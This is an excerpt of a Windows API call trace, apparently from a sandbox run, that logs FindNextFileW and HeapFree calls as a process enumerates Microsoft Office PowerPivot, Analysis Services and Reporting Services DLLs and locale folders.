	[0073.623] FindNextFileW (in: hFindFile=0x5e0970, lpFindFileData=0x325ee10 | out: lpFindFileData=0x325ee10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf41a796b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf41a796b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf41cdbc1, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x8040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Interop.MSDASC.dll", cAlternateFileName="INTERO~1.DLL")) returned 1
	[0073.624] FindNextFileW (in: hFindFile=0x5e08f0, lpFindFileData=0x325eb94 | out: lpFindFileData=0x325eb94*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x51e6a31, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x51e6a31, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x520cca6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x3030, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft.AnalysisServices.Layout.resources.dll", cAlternateFileName="MI8E88~1.DLL")) returned 1
	[0073.625] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x432c228 | out: hHeap=0x4f0000) returned 1
	[0073.625] FindNextFileW (in: hFindFile=0x5e0970, lpFindFileData=0x325ee10 | out: lpFindFileData=0x325ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefd68243, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x167a9331, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167a9331, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja", cAlternateFileName="")) returned 1
	[0073.626] FindNextFileW (in: hFindFile=0x5e02f0, lpFindFileData=0x325eb94 | out: lpFindFileData=0x325eb94*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x680214, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x680214, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x680214, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x39040, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft.AnalysisServices.Common.Wizard.resources.dll", cAlternateFileName="MIDF86~1.DLL")) returned 1
	[0073.627] FindNextFileW (in: hFindFile=0x5e02f0, lpFindFileData=0x325eb94 | out: lpFindFileData=0x325eb94*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf318faf5, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf318faf5, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf37f804b, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xb040, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft.SqlServer.Types.resources.dll", cAlternateFileName="MICROS~2.DLL")) returned 1
	[0073.628] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x432c228 | out: hHeap=0x4f0000) returned 1
	[0073.628] FindNextFileW (in: hFindFile=0x5e0970, lpFindFileData=0x325ee10 | out: lpFindFileData=0x325ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf2ebae3b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x167a9331, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167a9331, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="kk", cAlternateFileName="")) returned 1
	[0073.629] FindNextFileW (in: hFindFile=0x5e0670, lpFindFileData=0x325eb94 | out: lpFindFileData=0x325eb94*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf47e9c8f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf47e9c8f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf4a25fae, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x16040, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft.ReportingServices.ReportDesign.Common.resources.dll", cAlternateFileName="MICROS~3.DLL")) returned 1
	[0073.630] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x432c228 | out: hHeap=0x4f0000) returned 1
	[0073.630] FindNextFileW (in: hFindFile=0x5e0970, lpFindFileData=0x325ee10 | out: lpFindFileData=0x325ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefe4d066, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x167a9331, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167a9331, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ko", cAlternateFileName="")) returned 1
	[0073.631] FindNextFileW (in: hFindFile=0x5e0530, lpFindFileData=0x325eb94 | out: lpFindFileData=0x325eb94*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x69980f7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x69980f7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x69980f7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x13aa8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft.ReportingServices.Diagnostics.resources.dll", cAlternateFileName="MI2EA0~1.DLL")) returned 1
	[0073.632] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x432c228 | out: hHeap=0x4f0000) returned 1
	[0073.632] FindNextFileW (in: hFindFile=0x5e0970, lpFindFileData=0x325ee10 | out: lpFindFileData=0x325ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0063153, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x167a9331, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167a9331, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="lt", cAlternateFileName="")) returned 1
	[0073.633] FindNextFileW (in: hFindFile=0x5e0770, lpFindFileData=0x325eb94 | out: lpFindFileData=0x325eb94*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfb94fd84, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfb94fd84, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfb94fd84, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x47ac0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft.Office.PowerPivot.ExcelAddIn.resources.dll", cAlternateFileName="MIB24E~1.DLL")) returned 1
	[0073.634] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x432c228 | out: hHeap=0x4f0000) returned 1
	[0073.634] FindNextFileW (in: hFindFile=0x5e0970, lpFindFileData=0x325ee10 | out: lpFindFileData=0x325ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf10a1263, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x167a9331, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167a9331, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="lv", cAlternateFileName="")) returned 1
	[0073.636] FindNextFileW (in: hFindFile=0x5e09f0, lpFindFileData=0x325eb94 | out: lpFindFileData=0x325eb94*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf480feb5, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf480feb5, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf483611a, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x1d038, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft.AnalysisServices.XLHost.Modeler.resources.dll", cAlternateFileName="MICROS~4.DLL")) returned 1
	[0073.637] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x432c228 | out: hHeap=0x4f0000) returned 1
	[0073.637] FindNextFileW (in: hFindFile=0x5e0970, lpFindFileData=0x325ee10 | out: lpFindFileData=0x325ee10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf632eb9d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf632eb9d, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf632eb9d, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x164c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MDXQueryGenerator.DLL", cAlternateFileName="MDXQUE~1.DLL")) returned 1
	[0073.637] FindNextFileW (in: hFindFile=0x5e0970, lpFindFileData=0x325ee10 | out: lpFindFileData=0x325ee10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf1697068, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1697068, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf16bd2da, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x17bc90, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.Common.dll", cAlternateFileName="MICROS~3.DLL")) returned 1
	[0073.638] FindNextFileW (in: hFindFile=0x5e0970, lpFindFileData=0x325ee10 | out: lpFindFileData=0x325ee10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x5ad77c9, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x5ad77c9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x5eb74f1, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x22ec8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Data.Recommendation.Common.dll", cAlternateFileName="MI37D9~1.DLL")) returned 1
	[0073.639] FindNextFileW (in: hFindFile=0x5e0970, lpFindFileData=0x325ee10 | out: lpFindFileData=0x325ee10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf4409f1c, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf4409f1c, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf443017d, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x5e2c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.SqlServer.Types.dll", cAlternateFileName="MI4FF6~1.DLL")) returned 1
	[0073.640] FindNextFileW (in: hFindFile=0x5e08f0, lpFindFileData=0x325eb94 | out: lpFindFileData=0x325eb94*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf63ed72c, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf63ed72c, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6a7bf80, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4078, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft.ReportingServices.RsClient.resources.dll", cAlternateFileName="MI5988~1.DLL")) returned 1
	[0073.641] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x432c228 | out: hHeap=0x4f0000) returned 1
	[0073.641] FindNextFileW (in: hFindFile=0x5e0970, lpFindFileData=0x325ee10 | out: lpFindFileData=0x325ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf03d07a0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x167f56e9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167f56e9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nl", cAlternateFileName="")) returned 1
	[0073.813] FindNextFileW (in: hFindFile=0x5e08f0, lpFindFileData=0x325eb94 | out: lpFindFileData=0x325eb94*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf4a98712, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf4a98712, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf4abe91a, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x71070, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft.ReportingServices.QueryDesigners.resources.dll", cAlternateFileName="MI63FB~1.DLL")) returned 1
	[0073.813] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x432c228 | out: hHeap=0x4f0000) returned 1
	[0073.813] FindNextFileW (in: hFindFile=0x5e0970, lpFindFileData=0x325ee10 | out: lpFindFileData=0x325ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf45d3b76, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x167cf4d5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167cf4d5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="no", cAlternateFileName="")) returned 1
	[0073.815] FindNextFileW (in: hFindFile=0x5e0a30, lpFindFileData=0x325eb94 | out: lpFindFileData=0x325eb94*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x18157e1, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x18157e1, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x18157e1, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4ee8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft.ReportingServices.DataExtensions.resources.dll", cAlternateFileName="MI1341~1.DLL")) returned 1
	[0073.816] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x432c228 | out: hHeap=0x4f0000) returned 1
	[0073.816] FindNextFileW (in: hFindFile=0x5e0970, lpFindFileData=0x325ee10 | out: lpFindFileData=0x325ee10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf5ad675f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf5ad675f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf5ad675f, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x6faa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="OFFICE.DLL", cAlternateFileName="")) returned 1
	[0073.817] FindNextFileW (in: hFindFile=0x5e02f0, lpFindFileData=0x325eb94 | out: lpFindFileData=0x325eb94*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x4c63313, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x4c63313, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x4c63313, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2e60, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft.DataWarehouse.Interfaces.resources.dll", cAlternateFileName="MIE9BA~1.DLL")) returned 1
	[0073.819] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x432c228 | out: hHeap=0x4f0000) returned 1
	[0073.819] FindNextFileW (in: hFindFile=0x5e0970, lpFindFileData=0x325ee10 | out: lpFindFileData=0x325ee10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfa879350, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfa879350, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfa8eba59, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2ba48, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerPivotExcelClientAddIn.dll", cAlternateFileName="POWERP~1.DLL")) returned 1
	[0073.820] FindNextFileW (in: hFindFile=0x5e0770, lpFindFileData=0x325eb94 | out: lpFindFileData=0x325eb94*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x6c93006, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6c93006, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6c93006, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x39088, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft.AnalysisServices.Common.Wizard.resources.dll", cAlternateFileName="MIDF86~1.DLL")) returned 1
	[0073.820] FindNextFileW (in: hFindFile=0x5e0770, lpFindFileData=0x325eb94 | out: lpFindFileData=0x325eb94*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfc646a83, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc646a83, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc646a83, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xa078, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft.SqlServer.Types.resources.dll", cAlternateFileName="MI5889~1.DLL")) returned 1
	[0073.821] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x432c228 | out: hHeap=0x4f0000) returned 1
	[0073.821] FindNextFileW (in: hFindFile=0x5e0970, lpFindFileData=0x325ee10 | out: lpFindFileData=0x325ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefe00baf, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x167cf4d5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167cf4d5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-PT", cAlternateFileName="")) returned 1
	[0073.824] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x432c228 | out: hHeap=0x4f0000) returned 1
	[0073.824] FindNextFileW (in: hFindFile=0x5e0970, lpFindFileData=0x325ee10 | out: lpFindFileData=0x325ee10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfae48f06, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfae48f06, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfae6f174, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x174c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReportingServicesNativeClient.dll", cAlternateFileName="REPORT~1.DLL")) returned 1
	[0073.826] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x433c230 | out: hHeap=0x4f0000) returned 1
	[0073.826] FindNextFileW (in: hFindFile=0x5e0530, lpFindFileData=0x325eb94 | out: lpFindFileData=0x325eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefee59ce, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xefee59ce, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xefee59ce, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1026", cAlternateFileName="")) returned 1
	[0073.826] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x433c230 | out: hHeap=0x4f0000) returned 1
	[0073.826] FindNextFileW (in: hFindFile=0x5e0530, lpFindFileData=0x325eb94 | out: lpFindFileData=0x325eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1755c61, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1755c61, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1755c61, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="10266", cAlternateFileName="")) returned 1
	[0073.827] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x433c230 | out: hHeap=0x4f0000) returned 1
	[0073.827] FindNextFileW (in: hFindFile=0x5e0530, lpFindFileData=0x325eb94 | out: lpFindFileData=0x325eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf4266542, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf4266542, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf4266542, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1027", cAlternateFileName="")) returned 1
	[0073.827] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x433c230 | out: hHeap=0x4f0000) returned 1
	[0073.827] FindNextFileW (in: hFindFile=0x5e0530, lpFindFileData=0x325eb94 | out: lpFindFileData=0x325eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xffd42fe2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xffd42fe2, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xffd42fe2, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1028", cAlternateFileName="")) returned 1
	[0073.827] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x433c230 | out: hHeap=0x4f0000) returned 1
	[0073.827] FindNextFileW (in: hFindFile=0x5e0530, lpFindFileData=0x325eb94 | out: lpFindFileData=0x325eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf632eb9d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf632eb9d, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf632eb9d, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1029", cAlternateFileName="")) returned 1
	[0073.828] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x433c230 | out: hHeap=0x4f0000) returned 1
	[0073.828] FindNextFileW (in: hFindFile=0x5e0530, lpFindFileData=0x325eb94 | out: lpFindFileData=0x325eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfaf7a22a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfaf7a22a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfaf7a22a, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1030", cAlternateFileName="")) returned 1
	[0073.828] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x433c230 | out: hHeap=0x4f0000) returned 1
	[0073.828] FindNextFileW (in: hFindFile=0x5e0530, lpFindFileData=0x325eb94 | out: lpFindFileData=0x325eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x633d60, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x633d60, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x633d60, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1031", cAlternateFileName="")) returned 1
	[0073.828] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x433c230 | out: hHeap=0x4f0000) returned 1
	[0073.828] FindNextFileW (in: hFindFile=0x5e0530, lpFindFileData=0x325eb94 | out: lpFindFileData=0x325eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51e6a31, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x51e6a31, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x51e6a31, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1032", cAlternateFileName="")) returned 1
	[0073.830] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x433c230 | out: hHeap=0x4f0000) returned 1
	[0073.830] FindNextFileW (in: hFindFile=0x5e0530, lpFindFileData=0x325eb94 | out: lpFindFileData=0x325eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf42d8c51, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf42fef17, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf42fef17, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1033", cAlternateFileName="")) returned 1
	[0073.830] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x433c230 | out: hHeap=0x4f0000) returned 1
	[0073.830] FindNextFileW (in: hFindFile=0x5e0530, lpFindFileData=0x325eb94 | out: lpFindFileData=0x325eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6a56cbe, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6a7cf13, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6a7cf13, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1035", cAlternateFileName="")) returned 1
	[0073.830] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x433c230 | out: hHeap=0x4f0000) returned 1
	[0073.830] FindNextFileW (in: hFindFile=0x5e0530, lpFindFileData=0x325eb94 | out: lpFindFileData=0x325eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa911c96, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfa911c96, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfa911c96, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1036", cAlternateFileName="")) returned 1
	[0073.831] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x433c230 | out: hHeap=0x4f0000) returned 1
